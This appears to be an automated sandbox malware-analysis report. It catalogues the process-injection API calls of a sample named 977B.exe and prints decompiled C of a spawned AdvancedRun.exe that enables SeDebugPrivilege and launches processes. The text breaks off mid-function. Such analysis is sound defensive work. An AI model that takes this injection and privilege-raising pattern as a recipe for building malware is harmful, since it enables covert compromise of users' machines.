Instruction ID: f2da1691ca32ceef4ebb7ffb039160a3052a1a0853e807cf512b268ff05fa3b0
Opcode Fuzzy Hash: fe94db315f44a6ad13eaa6f5e90a6aac049872e3421695f41c948c22f86c7b92
Instruction Fuzzy Hash: 850121B12C63005EE758DB38EDAB77A36A4E748754F00913EA146CE1F5EB7454408E4C

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 977B.exe PID: 2892 Parent PID: 3472 977B.exeCOMMON

Executed Functions

Function 02A948D0, Relevance: 1.6, APIs: 1, Instructions: 63memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(?,?,?,?,?,?), ref: 02A9495B

Memory Dump Source

Source File: 0000001A.00000002.482879086.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 46b71b399ec32a25d22d6deea7e6c69654fc8816f48d095b8e0dcaa09bf719d7
Instruction ID: 6bdfcb33c2582003e9221b32d68b8ca6c65af656947223a9615e1243229139c5
Opcode Fuzzy Hash: 46b71b399ec32a25d22d6deea7e6c69654fc8816f48d095b8e0dcaa09bf719d7
Instruction Fuzzy Hash: A32105B59102099FCF10DFAAD984ADEBBF5BB48314F50842AE919A7200C775A955CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02A948D8, Relevance: 1.6, APIs: 1, Instructions: 61memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(?,?,?,?,?,?), ref: 02A9495B

Memory Dump Source

Source File: 0000001A.00000002.482879086.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 3d8f08f9667a37bdb67e33a830a6e8e8705891e6b2fe5e9ec863422bb324b296
Instruction ID: 63fb5d9c0dec7a449da09e45310beec80080361b9b752b75695dea3bb07debf9
Opcode Fuzzy Hash: 3d8f08f9667a37bdb67e33a830a6e8e8705891e6b2fe5e9ec863422bb324b296
Instruction Fuzzy Hash: B521F5B5D003099FCF10DFAAD984ADEFBF9BF48314F10842AE919A7210C7759955CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02A93803, Relevance: 1.7, APIs: 1, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.482879086.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd3ba8cbf38b0d72a41ab40e16f326cb20d007f99a8788fc95f361dc745a8ce6
Instruction ID: b7be19f7574ee05b3beb029a68742486cb849a1eef0fe30eca1e980e59636aef
Opcode Fuzzy Hash: fd3ba8cbf38b0d72a41ab40e16f326cb20d007f99a8788fc95f361dc745a8ce6
Instruction Fuzzy Hash: AC715731D052688FDF21CFA5C884BDEBBB6AF48204F1589DAD909B7250CB345E89CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02A93D44, Relevance: 1.7, APIs: 1, Instructions: 159threadCOMMON

Download Yara Rule

APIs

GetThreadContext.KERNELBASE(?,?), ref: 02A93E50

Memory Dump Source

Source File: 0000001A.00000002.482879086.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 5e215a4cfd76e7433d00501527bcfdb2c1aa174f5db1ffeb72df497a854369c2
Instruction ID: 25a7dd4bfe10c7ab0a84d25198fd10f77d7714ba6b3089377effc61a0e8f32ad
Opcode Fuzzy Hash: 5e215a4cfd76e7433d00501527bcfdb2c1aa174f5db1ffeb72df497a854369c2
Instruction Fuzzy Hash: 0A4114B09143289FDF66CF65C9847DEBBB9AB05204F4084EAE40DA7240DB756F89CF40

Uniqueness

Uniqueness Score: -1.00%

Function 02A93AFC, Relevance: 1.7, APIs: 1, Instructions: 156processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000,00000009,?,?,?,?,?,?,?), ref: 02A93C47

Memory Dump Source

Source File: 0000001A.00000002.482879086.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 3db07e4e88694221c32844ae74a388b5d2303fe6c0567cf5fe5330cdfcce85b7
Instruction ID: f08482dede3000aa3f07ac68400d3f8572f13f7e592b67a4fb05bb601de9dfbe
Opcode Fuzzy Hash: 3db07e4e88694221c32844ae74a388b5d2303fe6c0567cf5fe5330cdfcce85b7
Instruction Fuzzy Hash: EE510871800269DFDF20CFA5C980BDEBBB5BF48214F15859AE909B7250DB355A89CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02A93D50, Relevance: 1.7, APIs: 1, Instructions: 155threadCOMMON

Download Yara Rule

APIs

GetThreadContext.KERNELBASE(?,?), ref: 02A93E50

Memory Dump Source

Source File: 0000001A.00000002.482879086.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: edcb02229b16a6ff6f83dcae98412bce7f31915938c80fd1bdb267742b090720
Instruction ID: d85f60bf3d9f8e1a991be6a4ba913a20f7b4eac8f1c049d4da9dc1b1a1c3f251
Opcode Fuzzy Hash: edcb02229b16a6ff6f83dcae98412bce7f31915938c80fd1bdb267742b090720
Instruction Fuzzy Hash: 7C41F3B09143289BDF66CF65C9847DEBBB9AB49204F5084EAE40DA7240DB756F89CF40

Uniqueness

Uniqueness Score: -1.00%

Function 02A93B08, Relevance: 1.7, APIs: 1, Instructions: 154processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000,00000009,?,?,?,?,?,?,?), ref: 02A93C47

Memory Dump Source

Source File: 0000001A.00000002.482879086.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 6f3d887c162c6d4a97322c5163062e9711db04d2923cd1778edb935e8fa916c3
Instruction ID: a2ebcc5c535dac761a0b0fa087d905e48cd6d968b7cc0c1c2048cd0b93ec9e73
Opcode Fuzzy Hash: 6f3d887c162c6d4a97322c5163062e9711db04d2923cd1778edb935e8fa916c3
Instruction Fuzzy Hash: 2B511871800269DBDF20CFA5C980BDEBBB5BF48314F14859AE909B7250DB755E89CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02A94438, Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 02A944C8

Memory Dump Source

Source File: 0000001A.00000002.482879086.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 7b992cb734cab3c85743236a16c12c51c5ef3213a51e15427ebc5f335defeb75
Instruction ID: d6978856ac29249e9e67334b6c8ab1482d4a88e4e3a98f7a752f560830f75c0f
Opcode Fuzzy Hash: 7b992cb734cab3c85743236a16c12c51c5ef3213a51e15427ebc5f335defeb75
Instruction Fuzzy Hash: CD2127719003499FCF10CFA9C9847EEBBF5FF48314F148829E919A7240DB78A955DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02A94430, Relevance: 1.6, APIs: 1, Instructions: 68injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 02A944C8

Memory Dump Source

Source File: 0000001A.00000002.482879086.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f39a9df6ef21b3b7f5347439d3f9ac5cbf00c6407cebc1e756a0532759d96329
Instruction ID: 0859c73cb11b825a0a5c05eeae1f1f66db395feb41c9029983a434b952a2cfdd
Opcode Fuzzy Hash: f39a9df6ef21b3b7f5347439d3f9ac5cbf00c6407cebc1e756a0532759d96329
Instruction Fuzzy Hash: C02144B59003499FCF00CFA9C9847EEBBF5FF48314F14882AE958A7240DB789955DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02A94750, Relevance: 1.6, APIs: 1, Instructions: 56threadCOMMON

Download Yara Rule

APIs

RtlQueueApcWow64Thread.NTDLL(?,?,?,?,?), ref: 02A947C6

Memory Dump Source

Source File: 0000001A.00000002.482879086.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Similarity

API ID: QueueThreadWow64
String ID:
API String ID: 1120405860-0
Opcode ID: dc14e8fe44cfb6977646f3802f4a0637832517397ab057b1034cd3932ce9b0d2
Instruction ID: a91e0562bbd784cf981741ccc0d40e180c9f8e8cf1dcf18387a29436924d371c
Opcode Fuzzy Hash: dc14e8fe44cfb6977646f3802f4a0637832517397ab057b1034cd3932ce9b0d2
Instruction Fuzzy Hash: 971147719002099FCF10DFE9D944ADFBFF9AB48324F148819E515A7240CB76A955CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02A94758, Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

RtlQueueApcWow64Thread.NTDLL(?,?,?,?,?), ref: 02A947C6

Memory Dump Source

Source File: 0000001A.00000002.482879086.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Similarity

API ID: QueueThreadWow64
String ID:
API String ID: 1120405860-0
Opcode ID: a048457394b0630e8ee511664e4968431b01fe48de1f196acfb9407e645006ef
Instruction ID: 0399e5533a1d90cb6834797d900f63b81d56a214f6cd7520b069ff8b9df88f84
Opcode Fuzzy Hash: a048457394b0630e8ee511664e4968431b01fe48de1f196acfb9407e645006ef
Instruction Fuzzy Hash: CE1156719002099FCF10DFEAC9447DFBBF9AB48324F148819E915A7200CB75A954CBA0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: AdvancedRun.exe PID: 5676 Parent PID: 4380 AdvancedRun.exeCOMMON

Executed Functions

Function 00408FC9, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408FC9(struct HINSTANCE__** __eax, void* __eflags, WCHAR* _a4) {
				void* _v8;
				intOrPtr _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* __esi;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				long _t19;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t24;
				struct HINSTANCE__** _t35;
				void* _t37;

				_t37 = __eflags;
				_t35 = __eax;
				if(E00408F92(_t35, _t37, GetCurrentProcess(), 0x28,  &_v8) == 0) {
					return GetLastError();
				}
				_t16 = E00408F72(_t35);
				__eflags = _t16;
				if(_t16 != 0) {
					_t24 = GetProcAddress( *_t35, "LookupPrivilegeValueW");
					__eflags = _t24;
					if(_t24 != 0) {
						LookupPrivilegeValueW(0, _a4,  &(_v24.Privileges)); // executed
					}
				}
				_v24.PrivilegeCount = 1;
				_v12 = 2;
				_a4 = _v8;
				_t18 = E00408F72(_t35);
				__eflags = _t18;
				if(_t18 != 0) {
					_t22 = GetProcAddress( *_t35, "AdjustTokenPrivileges");
					__eflags = _t22;
					if(_t22 != 0) {
						AdjustTokenPrivileges(_a4, 0,  &_v24, 0, 0, 0); // executed
					}
				}
				_t19 = GetLastError();
				FindCloseChangeNotification(_v8); // executed
				return _t19;
			}

APIs

GetCurrentProcess.KERNEL32(00000028,00000000), ref: 00408FD8

Part of subcall function 00408F92: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 00408FA8

GetLastError.KERNEL32(00000000), ref: 00408FEA
GetProcAddress.KERNEL32(00000000,LookupPrivilegeValueW), ref: 0040900C
LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 0040901A
GetProcAddress.KERNEL32(00000000,AdjustTokenPrivileges), ref: 00409040
AdjustTokenPrivileges.KERNELBASE(00000002,00000000,00000001,00000000,00000000,00000000), ref: 00409051
GetLastError.KERNEL32(00000000,00000000,00000000), ref: 00409053
FindCloseChangeNotification.KERNELBASE(00000000), ref: 0040905E

Strings

LookupPrivilegeValueW, xrefs: 00409005
AdjustTokenPrivileges, xrefs: 00409039

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLast$AdjustChangeCloseCurrentFindLookupNotificationPrivilegePrivilegesProcessTokenValue
String ID: AdjustTokenPrivileges$LookupPrivilegeValueW
API String ID: 616250965-1253513912
Opcode ID: b5b45514c93916933a35bd7cc4bbde3415ee7f14846a7c37f1b94fb4e6c9eb93
Instruction ID: 03a5dc6c67e2a3af6dad2eaf9b7d3d3c38ee31464385454108c093b6d6cde588
Opcode Fuzzy Hash: b5b45514c93916933a35bd7cc4bbde3415ee7f14846a7c37f1b94fb4e6c9eb93
Instruction Fuzzy Hash: 34114F72500105FFEB10AFF4DD859AF76ADAB44384B10413AF541F2192DA789E449B68

Uniqueness

Uniqueness Score: -1.00%

Function 004022D5, Relevance: 61.7, APIs: 25, Strings: 10, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004022D5(void* __ecx, void* __edx, void* __eflags, long _a4, long _a8) {
				WCHAR* _v8;
				signed int _v12;
				int _v16;
				int _v20;
				char* _v24;
				int _v28;
				intOrPtr _v32;
				int _v36;
				int _v40;
				char _v44;
				void* _v56;
				int _v60;
				char _v92;
				void _v122;
				int _v124;
				short _v148;
				signed int _v152;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				void _v192;
				char _v196;
				char _v228;
				void _v258;
				int _v260;
				void _v786;
				short _v788;
				void _v1314;
				short _v1316;
				void _v1842;
				short _v1844;
				void _v18234;
				short _v18236;
				char _v83772;
				void* __ebx;
				void* __edi;
				void* __esi;
				short* _t174;
				short _t175;
				signed int _t176;
				short _t177;
				short _t178;
				int _t184;
				signed int _t187;
				intOrPtr _t207;
				intOrPtr _t219;
				int* _t252;
				int* _t253;
				int* _t266;
				int* _t267;
				wchar_t* _t270;
				int _t286;
				void* _t292;
				void* _t304;
				WCHAR* _t308;
				WCHAR* _t310;
				intOrPtr* _t311;
				int _t312;
				WCHAR* _t315;
				void* _t325;
				void* _t328;

				_t304 = __edx;
				E0040B550(0x1473c, __ecx);
				_t286 = 0;
				 *_a4 = 0;
				_v12 = 0;
				_v16 = 0;
				_v20 = 0;
				memset( &_v192, 0, 0x40);
				_v60 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 = 0;
				_v40 = 0;
				_v28 = 0;
				_v36 = 0;
				_v32 = 0x100;
				_v44 = 0;
				_v1316 = 0;
				memset( &_v1314, 0, 0x208);
				_v788 = 0;
				memset( &_v786, 0, 0x208);
				_t315 = _a8;
				_t328 = _t325 + 0x24;
				_v83772 = 0;
				_v196 = 0x44;
				E00404923(0x104,  &_v788, _t315);
				if(wcschr(_t315, 0x25) != 0) {
					ExpandEnvironmentStringsW(_t315,  &_v788, 0x104);
				}
				if(_t315[0x2668] != _t286 && wcschr( &_v788, 0x5c) == 0) {
					_v8 = _t286;
					_v1844 = _t286;
					memset( &_v1842, _t286, 0x208);
					_t328 = _t328 + 0xc;
					SearchPathW(_t286,  &_v788, _t286, 0x104,  &_v1844,  &_v8);
					if(_v1844 != _t286) {
						E00404923(0x104,  &_v788,  &_v1844);
					}
				}
				_t308 =  &(_t315[0x2106]);
				if( *_t308 == _t286) {
					E00404B5C( &_v1316,  &_v788);
					__eflags = _v1316 - _t286;
					_t315 = _a8;
					_pop(_t292);
					if(_v1316 == _t286) {
						goto L11;
					}
					goto L10;
				} else {
					_v20 = _t308;
					_t270 = wcschr(_t308, 0x25);
					_pop(_t292);
					if(_t270 == 0) {
						L11:
						_t174 =  &(_t315[0x220e]);
						if( *_t174 != 1) {
							_v152 = _v152 | 0x00000001;
							_v148 =  *_t174;
						}
						_t309 = ",";
						if(_t315[0x2210] != _t286 && _t315[0x2212] != _t286) {
							_v260 = _t286;
							memset( &_v258, _t286, 0x3e);
							_v124 = _t286;
							memset( &_v122, _t286, 0x3e);
							_v8 = _t286;
							E004052F3( &(_t315[0x2212]), _t292,  &_v260, 0x1f,  &_v8, ",");
							E004052F3( &(_t315[0x2212]), _t292,  &_v124, 0x1f,  &_v8, ",");
							_v152 = _v152 | 0x00000004;
							_t266 =  &_v260;
							_push(_t266);
							L0040B1F8();
							_v180 = _t266;
							_t328 = _t328 + 0x3c;
							_t267 =  &_v124;
							L0040B1F8();
							_t292 = _t267;
							_v176 = _t267;
						}
						if(_t315[0x2232] != _t286 && _t315[0x2234] != _t286) {
							_v260 = _t286;
							memset( &_v258, _t286, 0x3e);
							_v124 = _t286;
							memset( &_v122, _t286, 0x3e);
							_v8 = _t286;
							E004052F3( &(_t315[0x2234]), _t292,  &_v260, 0x1f,  &_v8, _t309);
							E004052F3( &(_t315[0x2234]), _t292,  &_v124, 0x1f,  &_v8, _t309);
							_v152 = _v152 | 0x00000002;
							_t252 =  &_v260;
							_push(_t252);
							L0040B1F8();
							_v172 = _t252;
							_t328 = _t328 + 0x3c;
							_t253 =  &_v124;
							_push(_t253);
							L0040B1F8();
							_v168 = _t253;
						}
						_t310 =  &(_t315[0x105]);
						if( *_t310 != _t286) {
							if(_t315[0x266a] == _t286 || wcschr(_t310, 0x25) == 0) {
								_push(_t310);
							} else {
								_v18236 = _t286;
								memset( &_v18234, _t286, 0x4000);
								_t328 = _t328 + 0xc;
								ExpandEnvironmentStringsW(_t310,  &_v18236, 0x2000);
								_push( &_v18236);
							}
							_push( &_v788);
							_push(L"\"%s\" %s");
							_push(0x7fff);
							_push( &_v83772);
							L0040B1EC();
							_v24 =  &_v83772;
						}
						_t175 = _t315[0x220c];
						if(_t175 != 0x20) {
							_v12 = _t175;
						}
						_t311 = _a4;
						if(_t315[0x2254] == 2) {
							E00401D1E(_t311, L"RunAsInvoker");
						}
						_t176 = _t315[0x265c];
						if(_t176 != _t286 && _t176 - 1 <= 0xc) {
							E00401D1E(_t311,  *((intOrPtr*)(0x40f2a0 + _t176 * 4)));
						}
						_t177 = _t315[0x265e];
						if(_t177 != 1) {
							__eflags = _t177 - 2;
							if(_t177 != 2) {
								goto L37;
							}
							_push(L"16BITCOLOR");
							goto L36;
						} else {
							_push(L"256COLOR");
							L36:
							E00401D1E(_t311);
							L37:
							if(_t315[0x2660] == _t286) {
								__eflags = _t315[0x2662] - _t286;
								if(_t315[0x2662] == _t286) {
									__eflags = _t315[0x2664] - _t286;
									if(_t315[0x2664] == _t286) {
										__eflags = _t315[0x2666] - _t286;
										if(_t315[0x2666] == _t286) {
											L46:
											_t178 = _t315[0x2a6e];
											_t358 = _t178 - 3;
											if(_t178 != 3) {
												__eflags = _t178 - 2;
												if(_t178 != 2) {
													__eflags =  *_t311 - _t286;
													if( *_t311 == _t286) {
														_push(_t286);
													} else {
														_push(_t311);
													}
													SetEnvironmentVariableW(L"__COMPAT_LAYER", ??);
													L63:
													_t293 = _t311;
													_t184 = E00401FE6(_t315, _t311, _t304,  &_v788, _v24, _v12, _v16, _v20,  &_v196,  &_v60); // executed
													_t312 = _t184;
													if(_t312 == _t286 && _v60 != _t286) {
														_t363 = _t315[0x266c] - _t286;
														if(_t315[0x266c] != _t286) {
															_t187 = E00401A3F(_t293, _t363,  &(_t315[0x266e]));
															_a4 = _a4 | 0xffffffff;
															_a8 = _t286;
															GetProcessAffinityMask(_v60,  &_a8,  &_a4);
															_t184 = SetProcessAffinityMask(_v60, _a4 & _t187);
														}
													}
													E004055D1(_t184,  &_v44);
													return _t312;
												}
												E00405497( &_v92);
												E00405497( &_v228);
												E0040149F(__eflags,  &_v92);
												E0040135C(E004055EC( &(_t315[0x2a70])), __eflags,  &_v228);
												E00401551( &_v228, _t304, __eflags,  &_v92);
												_t204 = _a4;
												__eflags =  *_a4;
												if(__eflags != 0) {
													E004014E9( &_v92, _t304, __eflags,  &_v92, _t204);
												}
												E00401421( &_v44, _t304,  &_v92, __eflags);
												_t207 = _v28;
												__eflags = _t207;
												_v16 = 0x40c4e8;
												if(_t207 != 0) {
													_v16 = _t207;
												}
												_v12 = _v12 | 0x00000400;
												E004054B9( &_v228);
												E004054B9( &_v92);
												_t286 = 0;
												__eflags = 0;
												L58:
												_t315 = _a8;
												_t311 = _a4;
												goto L63;
											}
											E00405497( &_v92);
											E0040135C(E004055EC( &(_t315[0x2a70])), _t358,  &_v92);
											_t359 =  *_t311 - _t286;
											if( *_t311 != _t286) {
												E004014E9( &_v92, _t304, _t359,  &_v92, _t311);
											}
											E00401421( &_v44, _t304,  &_v92, _t359);
											_t219 = _v28;
											_v16 = 0x40c4e8;
											if(_t219 != _t286) {
												_v16 = _t219;
											}
											_v12 = _v12 | 0x00000400;
											E004054B9( &_v92);
											goto L58;
										}
										_push(L"HIGHDPIAWARE");
										L45:
										E00401D1E(_t311);
										goto L46;
									}
									_push(L"DISABLEDWM");
									goto L45;
								}
								_push(L"DISABLETHEMES");
								goto L45;
							}
							_push(L"640X480");
							goto L45;
						}
					}
					ExpandEnvironmentStringsW(_t308,  &_v1316, 0x104);
					L10:
					_v20 =  &_v1316;
					goto L11;
				}
			}

APIs

memset.MSVCRT ref: 00402300
memset.MSVCRT ref: 0040233E
memset.MSVCRT ref: 00402356

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

wcschr.MSVCRT ref: 00402387
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 004023A0

Part of subcall function 00404B5C: wcscpy.MSVCRT ref: 00404B61
Part of subcall function 00404B5C: wcsrchr.MSVCRT ref: 00404B69

wcschr.MSVCRT ref: 004023B7
memset.MSVCRT ref: 004023D9
SearchPathW.KERNEL32(00000000,?,00000000,00000104,?,?,?,?,?,?,?,?,?,?,00000208), ref: 004023F6
wcschr.MSVCRT ref: 0040242B
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00402443
memset.MSVCRT ref: 004024BE
memset.MSVCRT ref: 004024D1
_wtoi.MSVCRT ref: 00402519
_wtoi.MSVCRT ref: 0040252B
memset.MSVCRT ref: 00402561
memset.MSVCRT ref: 00402574
_wtoi.MSVCRT ref: 004025BC
_wtoi.MSVCRT ref: 004025CE
wcschr.MSVCRT ref: 004025F0
memset.MSVCRT ref: 0040260F
ExpandEnvironmentStringsW.KERNEL32(?,?,00002000,?,?,?,?,?,?,?,?,00000208), ref: 00402624
_snwprintf.MSVCRT ref: 0040264C
SetEnvironmentVariableW.KERNEL32(__COMPAT_LAYER,00000000), ref: 00402819
GetProcessAffinityMask.KERNEL32(?,?,000000FF), ref: 00402879
SetProcessAffinityMask.KERNEL32(?,000000FF), ref: 00402888

Strings

__COMPAT_LAYER, xrefs: 00402814
DISABLEDWM, xrefs: 004026EC
HIGHDPIAWARE, xrefs: 004026FB
640X480, xrefs: 004026CE
DISABLETHEMES, xrefs: 004026DD
RunAsInvoker, xrefs: 00402677
256COLOR, xrefs: 004026AE
D, xrefs: 00402374
16BITCOLOR, xrefs: 004026BA
"%s" %s, xrefs: 0040263B

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Environment_wtoiwcschr$ExpandStrings$AffinityMaskProcess$PathSearchVariable_snwprintfmemcpywcscpywcslenwcsrchr
String ID: "%s" %s$16BITCOLOR$256COLOR$640X480$D$DISABLEDWM$DISABLETHEMES$HIGHDPIAWARE$RunAsInvoker$__COMPAT_LAYER
API String ID: 2452314994-435178042
Opcode ID: 067d403336562cb18e4ef95dc35e81972e5343f3ed9e099bed5cf17b41ec62b0
Instruction ID: b54a7db1e05dda42e7bfc3830e2036fe484084dd7c1f23c6c807eede0ded9d8d
Opcode Fuzzy Hash: 067d403336562cb18e4ef95dc35e81972e5343f3ed9e099bed5cf17b41ec62b0
Instruction Fuzzy Hash: 03F14F72900218AADB20EFA5CD85ADEB7B8EF04304F1045BBE619B71D1D7789A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408533, Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 259
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00408533(void* __ecx, void* __edx, void* __eflags, char _a8, intOrPtr _a12, char _a32, WCHAR* _a40, WCHAR* _a44, intOrPtr _a48, WCHAR* _a52, WCHAR* _a56, char _a60, int _a64, char* _a68, int _a72, char _a76, int _a80, char* _a84, int _a88, long _a92, void _a94, long _a620, void _a622, char _a1132, char _a1148, WCHAR* _a3196, WCHAR* _a3200, WCHAR* _a3204, WCHAR* _a3208, void* _a3212, char _a3216, int _a5264, int _a5268, int _a5272, int _a5276, int _a5280, char _a5288, char _a5292, int _a7340, int _a7344, int _a7348, int _a7352, int _a7356) {
				char _v0;
				WCHAR* _v4;
				void* __edi;
				void* __esi;
				void* _t76;
				void* _t82;
				wchar_t* _t85;
				void* _t86;
				void* _t87;
				intOrPtr _t92;
				wchar_t* _t93;
				intOrPtr _t95;
				int _t106;
				char* _t110;
				intOrPtr _t115;
				wchar_t* _t117;
				intOrPtr _t124;
				wchar_t* _t125;
				intOrPtr _t131;
				wchar_t* _t132;
				int _t154;
				int _t156;
				void* _t159;
				intOrPtr _t162;
				void* _t177;
				void* _t178;
				void* _t179;
				intOrPtr _t181;
				int _t187;
				intOrPtr _t188;
				intOrPtr _t190;
				intOrPtr _t198;
				signed int _t205;
				signed int _t206;

				_t179 = __edx;
				_t158 = __ecx;
				_t206 = _t205 & 0xfffffff8;
				E0040B550(0x1ccc, __ecx);
				_t76 = E0040313D(_t158);
				if(_t76 != 0) {
					E0040AC52();
					SetErrorMode(0x8001); // executed
					_t156 = 0;
					 *0x40fa70 = 0x11223344;
					EnumResourceTypesW(GetModuleHandleW(0), E0040A3C1, 0); // executed
					_t82 = E00405497( &_a8);
					_a48 = 0x20;
					_a40 = 0;
					_a52 = 0;
					_a44 = 0;
					_a56 = 0;
					E004056B5(_t158, __eflags, _t82, _a12);
					E00408F48(_t158, __eflags, L"SeDebugPrivilege"); // executed
					 *_t206 = L"/SpecialRun";
					_t85 = E0040585C( &_v0);
					__eflags = _t85;
					if(_t85 != 0) {
						L8:
						_t86 = E0040585C( &_a8, L"/Run");
						__eflags = _t86 - _t156;
						if(_t86 < _t156) {
							_t87 = E0040585C( &_a8, L"/cfg");
							__eflags = _t87 - _t156;
							if(_t87 >= _t156) {
								_t162 =  *0x40fa74; // 0x4101c8
								_t41 = _t87 + 1; // 0x1
								ExpandEnvironmentStringsW(E0040584C( &_a8, _t41), _t162 + 0x5504, 0x104);
								_t115 =  *0x40fa74; // 0x4101c8
								_t117 = wcschr(_t115 + 0x5504, 0x5c);
								__eflags = _t117;
								if(_t117 == 0) {
									_a92 = _t156;
									memset( &_a94, _t156, 0x208);
									_a620 = _t156;
									memset( &_a622, _t156, 0x208);
									GetCurrentDirectoryW(0x104,  &_a92);
									_t124 =  *0x40fa74; // 0x4101c8
									_t125 = _t124 + 0x5504;
									_v4 = _t125;
									_t187 = wcslen(_t125);
									_t51 = wcslen( &_a92) + 1; // 0x1
									__eflags = _t187 + _t51 - 0x104;
									if(_t187 + _t51 >= 0x104) {
										_a620 = _t156;
									} else {
										E00404BE4( &_a620,  &_a92, _v4);
									}
									_t131 =  *0x40fa74; // 0x4101c8
									_t132 = _t131 + 0x5504;
									__eflags = _t132;
									wcscpy(_t132,  &_a620);
								}
							}
							E00402F31(_t156);
							_t181 =  *0x40fa74; // 0x4101c8
							_pop(_t159);
							_a84 =  &_a8;
							_a76 = 0x40cb0c;
							_a88 = _t156;
							_a80 = _t156;
							E0040177C( &_a76, _t181 + 0x10, __eflags, _t156);
							_t92 =  *0x40fa74; // 0x4101c8
							__eflags =  *((intOrPtr*)(_t92 + 0x5710)) - _t156;
							if( *((intOrPtr*)(_t92 + 0x5710)) == _t156) {
								_t93 = E0040585C( &_a8, L"/savelangfile");
								__eflags = _t93;
								if(_t93 < 0) {
									E00406420();
									__imp__CoInitialize(_t156);
									_t95 =  *0x40fa74; // 0x4101c8
									E00408910(_t95 + 0x10, _t159, 0x416f60);
									 *((intOrPtr*)( *0x4158e0 + 8))(_t156);
									_t198 =  *0x40fa74; // 0x4101c8
									E00408910(0x416f60, 0x4158e0, _t198 + 0x10);
									E00402F31(1);
									__imp__CoUninitialize();
								} else {
									E004065BE(_t159);
								}
								goto L7;
							} else {
								_t64 = _t92 + 0x10; // 0x4101d8
								_a7356 = _t156;
								_a7352 = _t156;
								_a7340 = _t156;
								_a7344 = _t156;
								_a7348 = _t156;
								_t156 = E00401D40(_t179, _t64,  &_a5292);
								_t110 =  &_a5288;
								L6:
								E004035FB(_t110);
								L7:
								E004054B9( &_v0);
								E004099D4( &_a32);
								E004054B9( &_v0);
								_t106 = _t156;
								goto L2;
							}
						}
						_t26 = _t86 + 1; // 0x1
						_t173 = _t26;
